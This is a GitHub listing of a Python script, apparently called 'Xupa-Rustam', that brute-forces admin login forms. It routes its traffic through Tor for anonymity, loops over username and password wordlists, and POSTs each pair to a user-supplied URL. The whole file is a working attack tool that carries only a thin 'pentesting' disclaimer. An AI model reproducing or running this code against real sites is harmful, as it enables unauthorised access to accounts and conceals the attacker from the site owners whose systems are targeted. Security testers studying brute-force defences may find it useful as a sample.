-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
130 lines (123 loc) · 6.04 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import requests
import time
import socks
import socket
import os
import sys
from bs4 import BeautifulSoup
#ansi color vars
RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
BLUE = "\033[34m"
MAGENTA = "\033[35m"
CYAN = "\033[36m"
def s_print(text, speed=0.001):
for char in text:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(speed)
def intro():
os.system('clear')
s_print(f'''{RED}
¶ ¶
¶¶ ¶¶
¶¶¶ ¶¶¶
¶¶¶¶ ¶¶¶¶
¶¶¶¶¶ ¶¶¶¶¶
¶¶¶¶¶ ¶¶¶¶¶
¶¶¶¶¶¶ ¶¶¶¶¶¶
¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
██╗░░██╗██╗░░░██╗██████╗░░█████╗░░░░░░░██████╗░██╗░░░██╗░██████╗████████╗░█████╗░███╗░░░███╗
╚██╗██╔╝██║░░░██║██╔══██╗██╔══██╗░░░░░░██╔══██╗██║░░░██║██╔════╝╚══██╔══╝██╔══██╗████╗░████║
░╚███╔╝░██║░░░██║██████╔╝███████║█████╗██████╔╝██║░░░██║╚█████╗░░░░██║░░░███████║██╔████╔██║
░██╔██╗░██║░░░██║██╔═══╝░██╔══██║╚════╝██╔══██╗██║░░░██║░╚═══██╗░░░██║░░░██╔══██║██║╚██╔╝██║
██╔╝╚██╗╚██████╔╝██║░░░░░██║░░██║░░░░░░██║░░██║╚██████╔╝██████╔╝░░░██║░░░██║░░██║██║░╚═╝░██║
╚═╝░░╚═╝░╚═════╝░╚═╝░░░░░╚═╝░░╚═╝░░░░░░╚═╝░░╚═╝░╚═════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝
{RESET}
\n {BLUE}Author: {RESET}{GREEN} Dev. Gautam Kumar (devsdenepal){RESET} \n
{BLUE} Use: {RESET}{GREEN}Admin. Login Brute Force with Proxy based anonymity.{RESET}\n
({RED}!{RESET}){CYAN}By continuing, you are agree that:{RESET}
\n This attack is going to be related with Pentesting, development or knowldege gaining and in a controlled environment.
You are following your federal rules, and in case of any harm caused by this software the software developer wouldn't be responsible.\n
{GREEN} HAPPY H4CK1NG!{RESET}
''')
# print('''
# ======
# ||
# 333333
# ||
# ||
# ||
# $$$$$$
# $$ $$
# $$ $$
# $$ $$
# $$ $$
# $$ $$
# $$$$$$$$
# ''')
# time.sleep(0.8)
# os.system('clear')
# print('''
# ======
# ||
# 333333
# ||
# ||
# ||
# $$$$$$
# $$ $$
# $$ $$
# $$ $$
# $$ $$
# $$ $$
# $$$$$$$$
# ''')
intro()
# Set up Tor proxy
socks.set_default_proxy(socks.SOCKS5, "localhost", 9050)
socket.socket = socks.socksocket
admin_el = []
psd = []
i = 0
a_url = input("Testing URL: ")
# read the list of proxies from the file
uid_param = input('Username or UserId parameter name: ')
#for ex: user_name
password_param = input('Password parameter name: ')
#for ex: user_pass
# read the list of proxies from the file
admin_list_file = input("Admin list path: ")
with open(admin_list_file,'r') as admin_list_file :
for line in admin_list_file:
admin_el.append(line.strip())
password_list_file = input("Password list path: ")
with open(password_list_file, 'r') as f:
psd = [line.strip() for line in f]
for admin in admin_el:
for password in psd:
s_print(f"{RESET}{CYAN}Trying: {RESET}{YELLOW}{admin}{RESET}{CYAN} with password {RESET}{YELLOW}{password}{RESET}")
params = {
uid_param : admin,
password_param : password
}
try:
response = requests.post(a_url, params=params, allow_redirects=True)
if response.status_code == 200:
s_print(f'\n({RED}!{RESET}) {CYAN} REQUEST-POSTED{RESET}\n{BOLD}({RESET}{RED}*{RESET}{BOLD})The fetched response is: {RESET}{YELLOW}\n')
print(response.content.decode('utf-8'))
elif response.status_code in [301, 302]:
s_print('Redirection detected!\n=== The fetched response is: \n')
print(response.headers['Location'])
else:
s_print('Error while sending request!\n=== Details of Failure ===\n')
print(response.status_code)
except requests.exceptions.RequestException:
s_print('Failed to make request')
# print(requests.exception.RequestException)
time.sleep(1)